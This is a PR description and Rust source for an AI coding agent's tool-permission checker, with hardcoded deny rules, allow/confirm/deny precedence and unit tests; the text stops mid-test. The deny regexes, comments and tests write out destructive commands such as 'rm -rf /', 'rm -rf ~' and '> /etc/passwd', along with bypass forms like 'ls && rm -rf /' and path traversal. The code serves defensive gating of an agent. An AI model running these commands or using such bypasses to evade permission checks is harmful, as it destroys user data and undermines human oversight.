Redirects to `/dev/null` (e.g. `2>/dev/null`, `&>/dev/null`) are known-safe I/O routing, not commands. Previously, `extract_commands` emitted normalized redirect strings like `"2> /dev/null"` as separate entries in the command list checked against auto-allow regexes. Since `check_commands` requires **all** extracted entries to match an allow pattern, the unmatched redirect caused false-negatives — e.g. `git log --oneline -20 2>/dev/null || echo ...` would not be auto-allowed despite matching `^git` and `^echo` patterns. Rather than removing all redirects from extraction (which would hide dangerous redirects like `> /etc/passwd` from deny/confirm pattern checking), this fix surgically skips only `/dev/null` targets during redirect normalization. Redirects to real files are still emitted and still require a matching pattern for auto-allow, preserving the defense-in-depth property. Closes AI-41 Release Notes: - Fixed terminal auto-allow patterns incorrectly prompting for confirmation on commands containing `/dev/null` redirects (e.g. `2>/dev/null`).
2269 lines
75 KiB
Rust
2269 lines
75 KiB
Rust
use crate::AgentTool;
|
|
use crate::tools::TerminalTool;
|
|
use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
|
|
use settings::ToolPermissionMode;
|
|
use shell_command_parser::extract_commands;
|
|
use std::path::{Component, Path};
|
|
use std::sync::LazyLock;
|
|
use util::shell::ShellKind;
|
|
|
|
const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
|
|
harmful to be allowed, and cannot be overridden by settings.";
|
|
|
|
/// Security rules that are always enforced and cannot be overridden by any setting.
|
|
/// These protect against catastrophic operations like wiping filesystems.
|
|
pub struct HardcodedSecurityRules {
|
|
pub terminal_deny: Vec<CompiledRegex>,
|
|
}
|
|
|
|
pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
|
|
// Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
|
|
// This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
|
|
const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
|
|
// Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
|
|
const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
|
|
|
|
HardcodedSecurityRules {
|
|
terminal_deny: vec![
|
|
// Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
|
|
CompiledRegex::new(
|
|
&format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
|
|
false,
|
|
)
|
|
.expect("hardcoded regex should compile"),
|
|
// Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
|
|
CompiledRegex::new(
|
|
&format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
|
|
false,
|
|
)
|
|
.expect("hardcoded regex should compile"),
|
|
// Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
|
|
CompiledRegex::new(
|
|
&format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
|
|
false,
|
|
)
|
|
.expect("hardcoded regex should compile"),
|
|
// Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
|
|
CompiledRegex::new(
|
|
&format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
|
|
false,
|
|
)
|
|
.expect("hardcoded regex should compile"),
|
|
// Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
|
|
CompiledRegex::new(
|
|
&format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
|
|
false,
|
|
)
|
|
.expect("hardcoded regex should compile"),
|
|
],
|
|
}
|
|
});
|
|
|
|
/// Checks if input matches any hardcoded security rules that cannot be bypassed.
|
|
/// Returns a Deny decision if blocked, None otherwise.
|
|
fn check_hardcoded_security_rules(
|
|
tool_name: &str,
|
|
inputs: &[String],
|
|
shell_kind: ShellKind,
|
|
) -> Option<ToolPermissionDecision> {
|
|
// Currently only terminal tool has hardcoded rules
|
|
if tool_name != TerminalTool::NAME {
|
|
return None;
|
|
}
|
|
|
|
let rules = &*HARDCODED_SECURITY_RULES;
|
|
let terminal_patterns = &rules.terminal_deny;
|
|
|
|
for input in inputs {
|
|
// First: check the original input as-is (and its path-normalized form)
|
|
if matches_hardcoded_patterns(input, terminal_patterns) {
|
|
return Some(ToolPermissionDecision::Deny(
|
|
HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
|
|
));
|
|
}
|
|
|
|
// Second: parse and check individual sub-commands (for chained commands)
|
|
if shell_kind.supports_posix_chaining() {
|
|
if let Some(commands) = extract_commands(input) {
|
|
for command in &commands {
|
|
if matches_hardcoded_patterns(command, terminal_patterns) {
|
|
return Some(ToolPermissionDecision::Deny(
|
|
HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
|
|
));
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
None
|
|
}
|
|
|
|
/// Checks a single command against hardcoded patterns, both as-is and with
|
|
/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
|
|
/// and multi-path bypasses like `rm -rf /tmp /`).
|
|
fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
|
|
for pattern in patterns {
|
|
if pattern.is_match(command) {
|
|
return true;
|
|
}
|
|
}
|
|
|
|
for expanded in expand_rm_to_single_path_commands(command) {
|
|
for pattern in patterns {
|
|
if pattern.is_match(&expanded) {
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
|
|
false
|
|
}
|
|
|
|
/// For rm commands, expands multi-path arguments into individual single-path
|
|
/// commands with normalized paths. This catches both traversal bypasses like
|
|
/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
|
|
fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
|
|
let trimmed = command.trim();
|
|
|
|
let first_token = trimmed.split_whitespace().next();
|
|
if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
|
|
return vec![];
|
|
}
|
|
|
|
let parts: Vec<&str> = trimmed.split_whitespace().collect();
|
|
let mut flags = Vec::new();
|
|
let mut paths = Vec::new();
|
|
let mut past_double_dash = false;
|
|
|
|
for part in parts.iter().skip(1) {
|
|
if !past_double_dash && *part == "--" {
|
|
past_double_dash = true;
|
|
flags.push(*part);
|
|
continue;
|
|
}
|
|
if !past_double_dash && part.starts_with('-') {
|
|
flags.push(*part);
|
|
} else {
|
|
paths.push(*part);
|
|
}
|
|
}
|
|
|
|
let flags_str = if flags.is_empty() {
|
|
String::new()
|
|
} else {
|
|
format!("{} ", flags.join(" "))
|
|
};
|
|
|
|
let mut results = Vec::new();
|
|
for path in &paths {
|
|
if path.starts_with('$') {
|
|
let home_prefix = if path.starts_with("${HOME}") {
|
|
Some("${HOME}")
|
|
} else if path.starts_with("$HOME") {
|
|
Some("$HOME")
|
|
} else {
|
|
None
|
|
};
|
|
|
|
if let Some(prefix) = home_prefix {
|
|
let suffix = &path[prefix.len()..];
|
|
if suffix.is_empty() {
|
|
results.push(format!("rm {flags_str}{path}"));
|
|
} else if suffix.starts_with('/') {
|
|
let normalized_suffix = normalize_path(suffix);
|
|
let reconstructed = if normalized_suffix == "/" {
|
|
prefix.to_string()
|
|
} else {
|
|
format!("{prefix}{normalized_suffix}")
|
|
};
|
|
results.push(format!("rm {flags_str}{reconstructed}"));
|
|
} else {
|
|
results.push(format!("rm {flags_str}{path}"));
|
|
}
|
|
} else {
|
|
results.push(format!("rm {flags_str}{path}"));
|
|
}
|
|
continue;
|
|
}
|
|
|
|
let mut normalized = normalize_path(path);
|
|
if normalized.is_empty() && !Path::new(path).has_root() {
|
|
normalized = ".".to_string();
|
|
}
|
|
|
|
results.push(format!("rm {flags_str}{normalized}"));
|
|
}
|
|
|
|
results
|
|
}
|
|
|
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
|
pub enum ToolPermissionDecision {
|
|
Allow,
|
|
Deny(String),
|
|
Confirm,
|
|
}
|
|
|
|
impl ToolPermissionDecision {
|
|
/// Determines the permission decision for a tool invocation based on configured rules.
|
|
///
|
|
/// # Precedence Order (highest to lowest)
|
|
///
|
|
/// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
|
|
/// that cannot be bypassed by any user settings.
|
|
/// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
|
|
/// This takes precedence over `always_confirm` and `always_allow` patterns.
|
|
/// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
|
|
/// the user is prompted for confirmation.
|
|
/// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
|
|
/// the tool call proceeds without prompting.
|
|
/// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
|
|
/// `default` configured, that mode is used.
|
|
/// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
|
|
/// tool-specific default is set, or when the tool has no entry at all.
|
|
///
|
|
/// # Shell Compatibility (Terminal Tool Only)
|
|
///
|
|
/// For the terminal tool, commands are parsed to extract sub-commands for security.
|
|
/// All currently supported `ShellKind` variants are treated as compatible because
|
|
/// brush-parser can handle their command chaining syntax. If a new `ShellKind`
|
|
/// variant is added that brush-parser cannot safely parse, it should be excluded
|
|
/// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
|
|
/// patterns to be disabled for that shell.
|
|
///
|
|
/// # Pattern Matching Tips
|
|
///
|
|
/// Patterns are matched as regular expressions against the tool input (e.g., the command
|
|
/// string for the terminal tool). Some tips for writing effective patterns:
|
|
///
|
|
/// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
|
|
/// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
|
|
/// This is important for security rules where you want to block specific commands
|
|
/// without accidentally blocking unrelated commands that happen to contain the same
|
|
/// substring.
|
|
/// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
|
|
/// - Use `^` and `$` anchors to match the start/end of the input.
|
|
pub fn from_input(
|
|
tool_name: &str,
|
|
inputs: &[String],
|
|
permissions: &ToolPermissions,
|
|
shell_kind: ShellKind,
|
|
) -> ToolPermissionDecision {
|
|
// First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
|
|
// These cannot be bypassed by any user settings.
|
|
if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
|
|
return denial;
|
|
}
|
|
|
|
let rules = match permissions.tools.get(tool_name) {
|
|
Some(rules) => rules,
|
|
None => {
|
|
// No tool-specific rules, use the global default
|
|
return match permissions.default {
|
|
ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
|
|
ToolPermissionMode::Deny => {
|
|
ToolPermissionDecision::Deny("Blocked by global default: deny".into())
|
|
}
|
|
ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
|
|
};
|
|
}
|
|
};
|
|
|
|
// Check for invalid regex patterns before evaluating rules.
|
|
// If any patterns failed to compile, block the tool call entirely.
|
|
if let Some(error) = check_invalid_patterns(tool_name, rules) {
|
|
return ToolPermissionDecision::Deny(error);
|
|
}
|
|
|
|
// For the terminal tool, parse each input command to extract all sub-commands.
|
|
// This prevents shell injection attacks where a user configures an allow
|
|
// pattern like "^ls" and an attacker crafts "ls && rm -rf /".
|
|
//
|
|
// If parsing fails or the shell syntax is unsupported, always_allow is
|
|
// disabled for this command (we set allow_enabled to false to signal this).
|
|
if tool_name == TerminalTool::NAME {
|
|
// Our shell parser (brush-parser) only supports POSIX-like shell syntax.
|
|
// See the doc comment above for the list of compatible/incompatible shells.
|
|
if !shell_kind.supports_posix_chaining() {
|
|
// For shells with incompatible syntax, we can't reliably parse
|
|
// the command to extract sub-commands.
|
|
if !rules.always_allow.is_empty() {
|
|
// If the user has configured always_allow patterns, we must deny
|
|
// because we can't safely verify the command doesn't contain
|
|
// hidden sub-commands that bypass the allow patterns.
|
|
return ToolPermissionDecision::Deny(format!(
|
|
"The {} shell does not support \"always allow\" patterns for the terminal \
|
|
tool because Zed cannot parse its command chaining syntax. Please remove \
|
|
the always_allow patterns from your tool_permissions settings, or switch \
|
|
to a POSIX-conforming shell.",
|
|
shell_kind
|
|
));
|
|
}
|
|
// No always_allow rules, so we can still check deny/confirm patterns.
|
|
return check_commands(
|
|
inputs.iter().map(|s| s.to_string()),
|
|
rules,
|
|
tool_name,
|
|
false,
|
|
permissions.default,
|
|
);
|
|
}
|
|
|
|
// Expand each input into its sub-commands and check them all together.
|
|
let mut all_commands = Vec::new();
|
|
let mut any_parse_failed = false;
|
|
for input in inputs {
|
|
match extract_commands(input) {
|
|
Some(commands) => all_commands.extend(commands),
|
|
None => {
|
|
any_parse_failed = true;
|
|
all_commands.push(input.to_string());
|
|
}
|
|
}
|
|
}
|
|
// If any command failed to parse, disable allow patterns for safety.
|
|
check_commands(
|
|
all_commands,
|
|
rules,
|
|
tool_name,
|
|
!any_parse_failed,
|
|
permissions.default,
|
|
)
|
|
} else {
|
|
check_commands(
|
|
inputs.iter().map(|s| s.to_string()),
|
|
rules,
|
|
tool_name,
|
|
true,
|
|
permissions.default,
|
|
)
|
|
}
|
|
}
|
|
}
|
|
|
|
/// Evaluates permission rules against a set of commands.
|
|
///
|
|
/// This function performs a single pass through all commands with the following logic:
|
|
/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
|
|
/// - **CONFIRM**: Track if ANY command matches a confirm pattern
|
|
/// - **ALLOW**: Track if ALL commands match at least one allow pattern
|
|
///
|
|
/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
|
|
/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
|
|
/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
|
|
fn check_commands(
|
|
commands: impl IntoIterator<Item = String>,
|
|
rules: &ToolRules,
|
|
tool_name: &str,
|
|
allow_enabled: bool,
|
|
global_default: ToolPermissionMode,
|
|
) -> ToolPermissionDecision {
|
|
// Single pass through all commands:
|
|
// - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
|
|
// - CONFIRM: Track if ANY command matches a confirm pattern
|
|
// - ALLOW: Track if ALL commands match at least one allow pattern
|
|
let mut any_matched_confirm = false;
|
|
let mut all_matched_allow = true;
|
|
let mut had_any_commands = false;
|
|
|
|
for command in commands {
|
|
had_any_commands = true;
|
|
|
|
// DENY: immediate return if any command matches a deny pattern
|
|
if rules.always_deny.iter().any(|r| r.is_match(&command)) {
|
|
return ToolPermissionDecision::Deny(format!(
|
|
"Command blocked by security rule for {} tool",
|
|
tool_name
|
|
));
|
|
}
|
|
|
|
// CONFIRM: remember if any command matches a confirm pattern
|
|
if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
|
|
any_matched_confirm = true;
|
|
}
|
|
|
|
// ALLOW: track if all commands match at least one allow pattern
|
|
if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
|
|
all_matched_allow = false;
|
|
}
|
|
}
|
|
|
|
// After processing all commands, check accumulated state
|
|
if any_matched_confirm {
|
|
return ToolPermissionDecision::Confirm;
|
|
}
|
|
|
|
if allow_enabled && all_matched_allow && had_any_commands {
|
|
return ToolPermissionDecision::Allow;
|
|
}
|
|
|
|
match rules.default.unwrap_or(global_default) {
|
|
ToolPermissionMode::Deny => {
|
|
ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
|
|
}
|
|
ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
|
|
ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
|
|
}
|
|
}
|
|
|
|
/// Checks if the tool rules contain any invalid regex patterns.
|
|
/// Returns an error message if invalid patterns are found.
|
|
fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
|
|
if rules.invalid_patterns.is_empty() {
|
|
return None;
|
|
}
|
|
|
|
let count = rules.invalid_patterns.len();
|
|
let pattern_word = if count == 1 { "pattern" } else { "patterns" };
|
|
|
|
Some(format!(
|
|
"The {} tool cannot run because {} regex {} failed to compile. \
|
|
Please fix the invalid patterns in your tool_permissions settings.",
|
|
tool_name, count, pattern_word
|
|
))
|
|
}
|
|
|
|
/// Convenience wrapper that extracts permission settings from `AgentSettings`.
|
|
///
|
|
/// This is the primary entry point for tools to check permissions. It extracts
|
|
/// `tool_permissions` from the settings and
|
|
/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
|
|
pub fn decide_permission_from_settings(
|
|
tool_name: &str,
|
|
inputs: &[String],
|
|
settings: &AgentSettings,
|
|
) -> ToolPermissionDecision {
|
|
ToolPermissionDecision::from_input(
|
|
tool_name,
|
|
inputs,
|
|
&settings.tool_permissions,
|
|
ShellKind::system(),
|
|
)
|
|
}
|
|
|
|
/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
|
|
pub fn normalize_path(raw: &str) -> String {
|
|
let is_absolute = Path::new(raw).has_root();
|
|
let mut components: Vec<&str> = Vec::new();
|
|
for component in Path::new(raw).components() {
|
|
match component {
|
|
Component::CurDir => {}
|
|
Component::ParentDir => {
|
|
if components.last() == Some(&"..") {
|
|
components.push("..");
|
|
} else if !components.is_empty() {
|
|
components.pop();
|
|
} else if !is_absolute {
|
|
components.push("..");
|
|
}
|
|
}
|
|
Component::Normal(segment) => {
|
|
if let Some(s) = segment.to_str() {
|
|
components.push(s);
|
|
}
|
|
}
|
|
Component::RootDir | Component::Prefix(_) => {}
|
|
}
|
|
}
|
|
let joined = components.join("/");
|
|
if is_absolute {
|
|
format!("/{joined}")
|
|
} else {
|
|
joined
|
|
}
|
|
}
|
|
|
|
/// Decides permission by checking both the raw input path and a simplified/canonicalized
|
|
/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
|
|
pub fn decide_permission_for_paths(
|
|
tool_name: &str,
|
|
raw_paths: &[String],
|
|
settings: &AgentSettings,
|
|
) -> ToolPermissionDecision {
|
|
let raw_inputs: Vec<String> = raw_paths.to_vec();
|
|
let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
|
|
|
|
let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
|
|
let any_changed = raw_paths
|
|
.iter()
|
|
.zip(&normalized)
|
|
.any(|(raw, norm)| raw != norm);
|
|
if !any_changed {
|
|
return raw_decision;
|
|
}
|
|
|
|
let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
|
|
|
|
most_restrictive(raw_decision, normalized_decision)
|
|
}
|
|
|
|
pub fn decide_permission_for_path(
|
|
tool_name: &str,
|
|
raw_path: &str,
|
|
settings: &AgentSettings,
|
|
) -> ToolPermissionDecision {
|
|
decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
|
|
}
|
|
|
|
pub fn most_restrictive(
|
|
a: ToolPermissionDecision,
|
|
b: ToolPermissionDecision,
|
|
) -> ToolPermissionDecision {
|
|
match (&a, &b) {
|
|
(ToolPermissionDecision::Deny(_), _) => a,
|
|
(_, ToolPermissionDecision::Deny(_)) => b,
|
|
(ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
|
|
ToolPermissionDecision::Confirm
|
|
}
|
|
_ => a,
|
|
}
|
|
}
|
|
|
|
#[cfg(test)]
|
|
mod tests {
|
|
use super::*;
|
|
use crate::AgentTool;
|
|
use crate::pattern_extraction::extract_terminal_pattern;
|
|
use crate::tools::{DeletePathTool, EditFileTool, FetchTool, TerminalTool};
|
|
use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
|
|
use gpui::px;
|
|
use settings::{DefaultAgentView, DockPosition, NotifyWhenAgentWaiting};
|
|
use std::sync::Arc;
|
|
|
|
fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
|
|
AgentSettings {
|
|
enabled: true,
|
|
button: true,
|
|
dock: DockPosition::Right,
|
|
default_width: px(300.),
|
|
default_height: px(600.),
|
|
default_model: None,
|
|
inline_assistant_model: None,
|
|
inline_assistant_use_streaming_tools: false,
|
|
commit_message_model: None,
|
|
thread_summary_model: None,
|
|
inline_alternatives: vec![],
|
|
favorite_models: vec![],
|
|
default_profile: AgentProfileId::default(),
|
|
default_view: DefaultAgentView::Thread,
|
|
profiles: Default::default(),
|
|
notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
|
|
play_sound_when_agent_done: false,
|
|
single_file_review: false,
|
|
model_parameters: vec![],
|
|
enable_feedback: false,
|
|
expand_edit_card: true,
|
|
expand_terminal_card: true,
|
|
cancel_generation_on_terminal_stop: true,
|
|
use_modifier_to_send: true,
|
|
message_editor_min_lines: 1,
|
|
tool_permissions,
|
|
show_turn_stats: false,
|
|
}
|
|
}
|
|
|
|
fn pattern(command: &str) -> &'static str {
|
|
Box::leak(
|
|
extract_terminal_pattern(command)
|
|
.expect("failed to extract pattern")
|
|
.into_boxed_str(),
|
|
)
|
|
}
|
|
|
|
struct PermTest {
|
|
tool: &'static str,
|
|
input: &'static str,
|
|
mode: Option<ToolPermissionMode>,
|
|
allow: Vec<(&'static str, bool)>,
|
|
deny: Vec<(&'static str, bool)>,
|
|
confirm: Vec<(&'static str, bool)>,
|
|
global_default: ToolPermissionMode,
|
|
shell: ShellKind,
|
|
}
|
|
|
|
impl PermTest {
|
|
fn new(input: &'static str) -> Self {
|
|
Self {
|
|
tool: TerminalTool::NAME,
|
|
input,
|
|
mode: None,
|
|
allow: vec![],
|
|
deny: vec![],
|
|
confirm: vec![],
|
|
global_default: ToolPermissionMode::Confirm,
|
|
shell: ShellKind::Posix,
|
|
}
|
|
}
|
|
|
|
fn tool(mut self, t: &'static str) -> Self {
|
|
self.tool = t;
|
|
self
|
|
}
|
|
fn mode(mut self, m: ToolPermissionMode) -> Self {
|
|
self.mode = Some(m);
|
|
self
|
|
}
|
|
fn allow(mut self, p: &[&'static str]) -> Self {
|
|
self.allow = p.iter().map(|s| (*s, false)).collect();
|
|
self
|
|
}
|
|
fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
|
|
self.allow = p.iter().map(|s| (*s, true)).collect();
|
|
self
|
|
}
|
|
fn deny(mut self, p: &[&'static str]) -> Self {
|
|
self.deny = p.iter().map(|s| (*s, false)).collect();
|
|
self
|
|
}
|
|
fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
|
|
self.deny = p.iter().map(|s| (*s, true)).collect();
|
|
self
|
|
}
|
|
fn confirm(mut self, p: &[&'static str]) -> Self {
|
|
self.confirm = p.iter().map(|s| (*s, false)).collect();
|
|
self
|
|
}
|
|
fn global_default(mut self, m: ToolPermissionMode) -> Self {
|
|
self.global_default = m;
|
|
self
|
|
}
|
|
fn shell(mut self, s: ShellKind) -> Self {
|
|
self.shell = s;
|
|
self
|
|
}
|
|
|
|
fn is_allow(self) {
|
|
assert_eq!(
|
|
self.run(),
|
|
ToolPermissionDecision::Allow,
|
|
"expected Allow for '{}'",
|
|
self.input
|
|
);
|
|
}
|
|
fn is_deny(self) {
|
|
assert!(
|
|
matches!(self.run(), ToolPermissionDecision::Deny(_)),
|
|
"expected Deny for '{}'",
|
|
self.input
|
|
);
|
|
}
|
|
fn is_confirm(self) {
|
|
assert_eq!(
|
|
self.run(),
|
|
ToolPermissionDecision::Confirm,
|
|
"expected Confirm for '{}'",
|
|
self.input
|
|
);
|
|
}
|
|
|
|
fn run(&self) -> ToolPermissionDecision {
|
|
let mut tools = collections::HashMap::default();
|
|
tools.insert(
|
|
Arc::from(self.tool),
|
|
ToolRules {
|
|
default: self.mode,
|
|
always_allow: self
|
|
.allow
|
|
.iter()
|
|
.map(|(p, cs)| {
|
|
CompiledRegex::new(p, *cs)
|
|
.unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
|
|
})
|
|
.collect(),
|
|
always_deny: self
|
|
.deny
|
|
.iter()
|
|
.map(|(p, cs)| {
|
|
CompiledRegex::new(p, *cs)
|
|
.unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
|
|
})
|
|
.collect(),
|
|
always_confirm: self
|
|
.confirm
|
|
.iter()
|
|
.map(|(p, cs)| {
|
|
CompiledRegex::new(p, *cs)
|
|
.unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
|
|
})
|
|
.collect(),
|
|
invalid_patterns: vec![],
|
|
},
|
|
);
|
|
ToolPermissionDecision::from_input(
|
|
self.tool,
|
|
&[self.input.to_string()],
|
|
&ToolPermissions {
|
|
default: self.global_default,
|
|
tools,
|
|
},
|
|
self.shell,
|
|
)
|
|
}
|
|
}
|
|
|
|
fn t(input: &'static str) -> PermTest {
|
|
PermTest::new(input)
|
|
}
|
|
|
|
fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
|
|
ToolPermissionDecision::from_input(
|
|
TerminalTool::NAME,
|
|
&[input.to_string()],
|
|
&ToolPermissions {
|
|
default: global_default,
|
|
tools: collections::HashMap::default(),
|
|
},
|
|
ShellKind::Posix,
|
|
)
|
|
}
|
|
|
|
// allow pattern matches
|
|
#[test]
|
|
fn allow_exact_match() {
|
|
t("cargo test").allow(&[pattern("cargo")]).is_allow();
|
|
}
|
|
#[test]
|
|
fn allow_one_of_many_patterns() {
|
|
t("npm install")
|
|
.allow(&[pattern("cargo"), pattern("npm")])
|
|
.is_allow();
|
|
t("git status")
|
|
.allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
|
|
.is_allow();
|
|
}
|
|
#[test]
|
|
fn allow_middle_pattern() {
|
|
t("run cargo now").allow(&["cargo"]).is_allow();
|
|
}
|
|
#[test]
|
|
fn allow_anchor_prevents_middle() {
|
|
t("run cargo now").allow(&["^cargo"]).is_confirm();
|
|
}
|
|
|
|
// allow pattern doesn't match -> falls through
|
|
#[test]
|
|
fn allow_no_match_confirms() {
|
|
t("python x.py").allow(&[pattern("cargo")]).is_confirm();
|
|
}
|
|
#[test]
|
|
fn allow_no_match_global_allows() {
|
|
t("python x.py")
|
|
.allow(&[pattern("cargo")])
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
}
|
|
#[test]
|
|
fn allow_no_match_tool_confirm_overrides_global_allow() {
|
|
t("python x.py")
|
|
.allow(&[pattern("cargo")])
|
|
.mode(ToolPermissionMode::Confirm)
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_confirm();
|
|
}
|
|
#[test]
|
|
fn allow_no_match_tool_allow_overrides_global_confirm() {
|
|
t("python x.py")
|
|
.allow(&[pattern("cargo")])
|
|
.mode(ToolPermissionMode::Allow)
|
|
.global_default(ToolPermissionMode::Confirm)
|
|
.is_allow();
|
|
}
|
|
|
|
// deny pattern matches (using commands that aren't blocked by hardcoded rules)
|
|
#[test]
|
|
fn deny_blocks() {
|
|
t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
|
|
}
|
|
// global default: allow does NOT bypass user-configured deny rules
|
|
#[test]
|
|
fn deny_not_bypassed_by_global_default_allow() {
|
|
t("rm -rf ./temp")
|
|
.deny(&["rm\\s+-rf"])
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_deny();
|
|
}
|
|
#[test]
|
|
fn deny_blocks_with_mode_allow() {
|
|
t("rm -rf ./temp")
|
|
.deny(&["rm\\s+-rf"])
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_deny();
|
|
}
|
|
#[test]
|
|
fn deny_middle_match() {
|
|
t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
|
|
}
|
|
#[test]
|
|
fn deny_no_match_falls_through() {
|
|
t("ls -la")
|
|
.deny(&["rm\\s+-rf"])
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
}
|
|
|
|
// confirm pattern matches
|
|
#[test]
|
|
fn confirm_requires_confirm() {
|
|
t("sudo apt install")
|
|
.confirm(&[pattern("sudo")])
|
|
.is_confirm();
|
|
}
|
|
// global default: allow does NOT bypass user-configured confirm rules
|
|
#[test]
|
|
fn global_default_allow_does_not_override_confirm_pattern() {
|
|
t("sudo reboot")
|
|
.confirm(&[pattern("sudo")])
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_confirm();
|
|
}
|
|
#[test]
|
|
fn confirm_overrides_mode_allow() {
|
|
t("sudo x")
|
|
.confirm(&["sudo"])
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_confirm();
|
|
}
|
|
|
|
// confirm beats allow
|
|
#[test]
|
|
fn confirm_beats_allow() {
|
|
t("git push --force")
|
|
.allow(&[pattern("git")])
|
|
.confirm(&["--force"])
|
|
.is_confirm();
|
|
}
|
|
#[test]
|
|
fn confirm_beats_allow_overlap() {
|
|
t("deploy prod")
|
|
.allow(&["deploy"])
|
|
.confirm(&["prod"])
|
|
.is_confirm();
|
|
}
|
|
#[test]
|
|
fn allow_when_confirm_no_match() {
|
|
t("git status")
|
|
.allow(&[pattern("git")])
|
|
.confirm(&["--force"])
|
|
.is_allow();
|
|
}
|
|
|
|
// deny beats allow
|
|
#[test]
|
|
fn deny_beats_allow() {
|
|
t("rm -rf ./tmp/x")
|
|
.allow(&["/tmp/"])
|
|
.deny(&["rm\\s+-rf"])
|
|
.is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn deny_beats_confirm() {
|
|
t("sudo rm -rf ./temp")
|
|
.confirm(&["sudo"])
|
|
.deny(&["rm\\s+-rf"])
|
|
.is_deny();
|
|
}
|
|
|
|
// deny beats everything
|
|
#[test]
|
|
fn deny_beats_all() {
|
|
t("bad cmd")
|
|
.allow(&["cmd"])
|
|
.confirm(&["cmd"])
|
|
